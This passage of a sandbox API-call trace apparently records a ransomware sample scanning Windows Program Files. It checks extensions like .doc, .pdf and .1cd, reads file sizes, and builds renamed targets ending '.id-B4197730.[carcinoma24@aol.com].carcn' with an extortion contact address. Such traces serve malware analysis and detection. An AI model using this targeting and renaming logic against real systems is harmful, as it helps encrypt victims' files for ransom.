(lpString=".pdf") returned 4 [0297.931] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.931] lstrlenW (lpString=".xls") returned 4 [0297.931] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.931] lstrlenW (lpString=".xlsx") returned 5 [0297.931] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0297.931] lstrlenW (lpString=".ppt") returned 4 [0297.931] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0297.931] lstrlenW (lpString=".zip") returned 4 [0297.931] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.931] lstrlenW (lpString=".rar") returned 4 [0297.931] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.931] lstrlenW (lpString=".bz2") returned 4 [0297.931] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.931] lstrlenW (lpString=".7z") returned 3 [0297.931] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0297.931] lstrlenW (lpString=".dbf") returned 4 [0297.931] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0297.931] lstrlenW (lpString=".1cd") returned 4 [0297.931] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0297.932] lstrlenW (lpString=".jpg") returned 4 [0297.932] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.932] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.932] lstrlenW (lpString="msadox.dll") returned 10 [0297.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0297.932] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=404992) returned 1 [0297.933] CloseHandle (hObject=0x350) returned 1 [0297.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0297.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0297.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0297.933] lstrlenW (lpString=".doc") returned 4 [0297.933] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.933] lstrlenW (lpString=".docx") returned 5 [0297.933] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0297.933] lstrlenW (lpString=".pdf") returned 4 [0297.933] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.933] lstrlenW (lpString=".xls") returned 4 [0297.933] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.933] lstrlenW (lpString=".xlsx") returned 5 [0297.933] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0297.933] lstrlenW (lpString=".ppt") returned 4 [0297.933] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0297.933] lstrlenW (lpString=".zip") returned 4 [0297.934] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.934] lstrlenW (lpString=".rar") returned 4 [0297.934] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.934] lstrlenW (lpString=".bz2") returned 4 [0297.934] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.934] lstrlenW (lpString=".7z") returned 3 [0297.934] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0297.934] lstrlenW (lpString=".dbf") returned 4 [0297.934] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0297.934] lstrlenW (lpString=".1cd") returned 4 [0297.934] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0297.934] lstrlenW (lpString=".jpg") returned 4 [0297.934] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0297.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0297.934] lstrlenW (lpString=".doc") returned 4 [0297.934] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.934] lstrlenW (lpString=".docx") returned 5 [0297.934] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0297.934] lstrlenW (lpString=".pdf") returned 4 [0297.934] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.934] lstrlenW (lpString=".xls") returned 4 [0297.934] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.934] lstrlenW (lpString=".xlsx") returned 5 [0297.935] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0297.935] lstrlenW (lpString=".ppt") returned 4 [0297.935] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0297.935] lstrlenW (lpString=".zip") returned 4 [0297.935] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.935] lstrlenW (lpString=".rar") returned 4 [0297.935] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.935] lstrlenW (lpString=".bz2") returned 4 [0297.935] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.935] lstrlenW (lpString=".7z") returned 3 [0297.935] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0297.935] lstrlenW (lpString=".dbf") returned 4 [0297.935] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0297.935] lstrlenW (lpString=".1cd") returned 4 [0297.935] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0297.935] lstrlenW (lpString=".jpg") returned 4 [0297.935] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.935] lstrcmpiW (lpString1=".tlb", lpString2=".carcn") returned 1 [0297.935] lstrlenW (lpString="msadox28.tlb") returned 12 [0297.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0297.937] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=24576) returned 1 [0297.937] CloseHandle (hObject=0x350) returned 1 [0297.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0297.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0297.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0297.938] lstrlenW (lpString=".doc") returned 4 [0297.938] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.938] lstrlenW (lpString=".docx") returned 5 [0297.938] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1 [0297.938] lstrlenW (lpString=".pdf") returned 4 [0297.938] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.938] lstrlenW (lpString=".xls") returned 4 [0297.938] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.938] lstrlenW (lpString=".xlsx") returned 5 [0297.938] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1 [0297.939] lstrlenW (lpString=".ppt") returned 4 [0297.939] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0297.939] lstrlenW (lpString=".zip") returned 4 [0297.939] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.939] lstrlenW (lpString=".rar") returned 4 [0297.939] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.939] lstrlenW (lpString=".bz2") returned 4 [0297.939] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.939] lstrlenW (lpString=".7z") returned 3 [0297.939] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0297.939] lstrlenW (lpString=".dbf") returned 4 [0297.939] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0297.939] lstrlenW (lpString=".1cd") returned 4 [0297.939] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0297.940] lstrlenW (lpString=".jpg") returned 4 [0297.940] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0297.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0297.940] lstrlenW (lpString=".doc") returned 4 [0297.940] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.940] lstrlenW (lpString=".docx") returned 5 [0297.940] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1 [0297.940] lstrlenW (lpString=".pdf") returned 4 [0297.940] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.940] lstrlenW (lpString=".xls") returned 4 [0297.940] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.940] lstrlenW (lpString=".xlsx") returned 5 [0297.940] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1 [0297.940] lstrlenW (lpString=".ppt") returned 4 [0297.940] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0297.940] lstrlenW (lpString=".zip") returned 4 [0297.941] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.941] lstrlenW (lpString=".rar") returned 4 [0297.941] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.941] lstrlenW (lpString=".bz2") returned 4 [0297.941] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.941] lstrlenW (lpString=".7z") returned 3 [0297.941] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0297.941] lstrlenW (lpString=".dbf") returned 4 [0297.941] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0297.941] lstrlenW (lpString=".1cd") returned 4 [0297.941] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0297.941] lstrlenW (lpString=".jpg") returned 4 [0297.941] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.941] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.942] lstrlenW (lpString="msadrh15.dll") returned 12 [0297.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0297.942] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=91136) returned 1 [0297.942] CloseHandle (hObject=0x350) returned 1 [0297.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0297.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0297.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0297.943] lstrlenW (lpString=".doc") returned 4 [0297.943] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.943] lstrlenW (lpString=".docx") returned 5 [0297.943] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0297.943] lstrlenW (lpString=".pdf") returned 4 [0297.943] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.943] lstrlenW (lpString=".xls") returned 4 [0297.943] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.943] lstrlenW (lpString=".xlsx") returned 5 [0297.943] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0297.943] lstrlenW (lpString=".ppt") returned 4 [0297.943] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0297.944] lstrlenW (lpString=".zip") returned 4 [0297.944] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.944] lstrlenW (lpString=".rar") returned 4 [0297.944] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.944] lstrlenW (lpString=".bz2") returned 4 [0297.944] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.944] lstrlenW (lpString=".7z") returned 3 [0297.944] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0297.944] lstrlenW (lpString=".dbf") returned 4 [0297.944] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0297.944] lstrlenW (lpString=".1cd") returned 4 [0297.944] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0297.945] lstrlenW (lpString=".jpg") returned 4 [0297.945] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0297.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0297.945] lstrlenW (lpString=".doc") returned 4 [0297.945] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.945] lstrlenW (lpString=".docx") returned 5 [0297.945] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0297.945] lstrlenW (lpString=".pdf") returned 4 [0297.945] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.945] lstrlenW (lpString=".xls") returned 4 [0297.945] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.945] lstrlenW (lpString=".xlsx") returned 5 [0297.945] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0297.945] lstrlenW (lpString=".ppt") returned 4 [0297.945] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0297.946] lstrlenW (lpString=".zip") returned 4 [0297.946] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.946] lstrlenW (lpString=".rar") returned 4 [0297.946] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.946] lstrlenW (lpString=".bz2") returned 4 [0297.946] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.946] lstrlenW (lpString=".7z") returned 3 [0297.946] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0297.946] lstrlenW (lpString=".dbf") returned 4 [0297.946] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0297.946] lstrlenW (lpString=".1cd") returned 4 [0297.946] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0297.946] lstrlenW (lpString=".jpg") returned 4 [0297.946] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.947] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.947] lstrlenW (lpString="DirectDB.dll") returned 12 [0297.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0297.947] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=32768) returned 1 [0297.947] CloseHandle (hObject=0x350) returned 1 [0297.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0297.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\directdb.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0297.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0297.948] lstrlenW (lpString=".doc") returned 4 [0297.948] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.948] lstrlenW (lpString=".docx") returned 5 [0297.948] lstrcmpiW (lpString1=".docx", lpString2="B.dll") returned -1 [0297.948] lstrlenW (lpString=".pdf") returned 4 [0297.948] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.948] lstrlenW (lpString=".xls") returned 4 [0297.948] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.948] lstrlenW (lpString=".xlsx") returned 5 [0297.948] lstrcmpiW (lpString1=".xlsx", lpString2="B.dll") returned -1 [0297.949] lstrlenW (lpString=".ppt") returned 4 [0297.949] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0297.949] lstrlenW (lpString=".zip") returned 4 [0297.949] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.949] lstrlenW (lpString=".rar") returned 4 [0297.949] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.949] lstrlenW (lpString=".bz2") returned 4 [0297.949] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.949] lstrlenW (lpString=".7z") returned 3 [0297.949] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0297.949] lstrlenW (lpString=".dbf") returned 4 [0297.949] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0297.949] lstrlenW (lpString=".1cd") returned 4 [0297.949] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0297.949] lstrlenW (lpString=".jpg") returned 4 [0297.950] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0297.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0297.950] lstrlenW (lpString=".doc") returned 4 [0297.950] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.950] lstrlenW (lpString=".docx") returned 5 [0297.950] lstrcmpiW (lpString1=".docx", lpString2="B.dll") returned -1 [0297.950] lstrlenW (lpString=".pdf") returned 4 [0297.950] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.950] lstrlenW (lpString=".xls") returned 4 [0297.950] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.950] lstrlenW (lpString=".xlsx") returned 5 [0297.950] lstrcmpiW (lpString1=".xlsx", lpString2="B.dll") returned -1 [0297.950] lstrlenW (lpString=".ppt") returned 4 [0297.950] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0297.950] lstrlenW (lpString=".zip") returned 4 [0297.950] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.951] lstrlenW (lpString=".rar") returned 4 [0297.951] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.951] lstrlenW (lpString=".bz2") returned 4 [0297.951] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.951] lstrlenW (lpString=".7z") returned 3 [0297.951] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0297.951] lstrlenW (lpString=".dbf") returned 4 [0297.951] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0297.951] lstrlenW (lpString=".1cd") returned 4 [0297.951] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0297.951] lstrlenW (lpString=".jpg") returned 4 [0297.951] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.952] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0297.952] lstrlenW (lpString="wab32res.dll.mui") returned 16 [0297.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0297.952] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=94208) returned 1 [0297.952] CloseHandle (hObject=0x350) returned 1 [0297.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0297.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0297.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0297.953] lstrlenW (lpString=".doc") returned 4 [0297.953] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0297.953] lstrlenW (lpString=".docx") returned 5 [0297.953] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0297.953] lstrlenW (lpString=".pdf") returned 4 [0297.953] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0297.953] lstrlenW (lpString=".xls") returned 4 [0297.953] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0297.953] lstrlenW (lpString=".xlsx") returned 5 [0297.953] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0297.953] lstrlenW (lpString=".ppt") returned 4 [0297.954] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0297.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0297.954] lstrlenW (lpString=".zip") returned 4 [0297.954] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0297.954] lstrlenW (lpString=".rar") returned 4 [0297.954] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0297.954] lstrlenW (lpString=".bz2") returned 4 [0297.954] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0297.954] lstrlenW (lpString=".7z") returned 3 [0297.954] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0297.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0297.954] lstrlenW (lpString=".dbf") returned 4 [0297.954] lstrcmpiW 